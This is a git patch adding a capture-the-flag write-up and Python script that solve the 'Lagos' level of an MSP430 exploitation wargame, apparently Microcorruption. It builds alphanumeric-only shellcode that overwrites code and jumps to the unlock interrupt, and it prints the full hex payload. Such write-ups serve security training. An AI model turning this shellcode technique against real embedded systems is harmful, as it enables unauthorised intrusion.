From e139538d7ec97dee7855a49037749a2f903a4f5b Mon Sep 17 00:00:00 2001 From: felixm Date: Sun, 23 Apr 2023 13:40:47 -0400 Subject: [PATCH] Solve Lagos --- README.md | 68 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ lagos.py | 15 ++++++++++++ 2 files changed, 83 insertions(+) create mode 100644 lagos.py diff --git a/README.md b/README.md index 9068206..56d70fe 100644 --- a/README.md +++ b/README.md @@ -637,4 +637,72 @@ this attack doesn't work. ## Lagos +In this exercise, the input characters are restricted to the alphanumeric +range. As a result, we can only inject bytes within the following specified +ranges: + +``` +0x30 - 0x39 ; 0-9 +0x41 - 0x5a ; A-Z +0x61 - 0x7a ; a-z +``` + +This constraint narrows down the available instructions, but after some +experimentation, we can identify the following potentially useful instructions: + +```python +FILL_BYTE = "30" +ADD_8_TO_R10 = "7a52" +ADD_1_TO_R10 = "5a53" +ADD_R10_TO_R14 = "4e5a" +JMP_6F_FORWARD = "7a34" +NOP = "4f5a" # ADD_R10_TO_R15 but since we do not need R15 it acts as a NOP +``` + +The application permits a return pointer injection, but upon closer examination +of the code, we find that we can directly override the code at the +`conditional_unlock_door` location. The memory layout is as follows: + +``` +43ed ; application copies input text to this address + +4446 ; + + ; part of INT procedure +4602: 0f4e mov r14, r15 +4604: 8f10 swpb r15 +4606: 024f mov r15, sr +4608: 32d0 0080 bis #0x8000, sr +460c: b012 1000 call #0x10 +``` + +When we notice this, we can swiftly develop an attack strategy. First, we fill +up the section up to `conditional_unlock_door` with a filler byte. Next, our +objective is to load `0x7f` into r14 so that the INT procedure utilizes it to +unlock the door. Finally, we just need to advance the PC to the INT procedure +located at `4602`. + +In Python, we can use the following code to create the shellcode: + +```python +SHELL_CODE = FILL_BYTE * 89 # fill memory till conditional_unlock_door +SHELL_CODE += ADD_8_TO_R10 * 15 +SHELL_CODE += ADD_1_TO_R10 * 7 # increment r10 to 0x7f +SHELL_CODE += ADD_R10_TO_R14 # set r14 to 0x7f (r14 is '0' initially) +SHELL_CODE += NOP * 76 # forward PC +SHELL_CODE += JMP_6F_FORWARD # jump to 4602 +print(SHELL_CODE) +``` + +We can either experiment with the number of NOP instructions until we reach the +correct location or directly calculate it. The empirical approach might be a +bit easier. By using this method, the resulting shellcode looks like this: + +``` +30303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030307a527a527a527a527a527a527a527a527a527a527a527a527a527a527a525a535a535a535a535a535a535a534e5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a4f5a7a34 +``` + +And this solves the Lagos challenge as expected. + +## Chernobyl diff --git a/lagos.py b/lagos.py new file mode 100644 index 0000000..d428f8e --- /dev/null +++ b/lagos.py @@ -0,0 +1,15 @@ +FILL_BYTE = "30" +ADD_8_TO_R10 = "7a52" +ADD_1_TO_R10 = "5a53" +ADD_R10_TO_R14 = "4e5a" +JMP_6F_FORWARD = "7a34" +NOP = "4f5a" # ADD_R10_TO_R15 but since we do not need R15 it acts as a NOP + +SHELL_CODE = FILL_BYTE * 89 # fill memory till conditional_unlock_door +SHELL_CODE += ADD_8_TO_R10 * 15 +SHELL_CODE += ADD_1_TO_R10 * 7 # increment r10 to 0x7f +SHELL_CODE += ADD_R10_TO_R14 # set r14 to 0x7f (r14 is '0' initially) +SHELL_CODE += NOP * 76 # forward PC +SHELL_CODE += JMP_6F_FORWARD # jump to 4602 +print(SHELL_CODE) +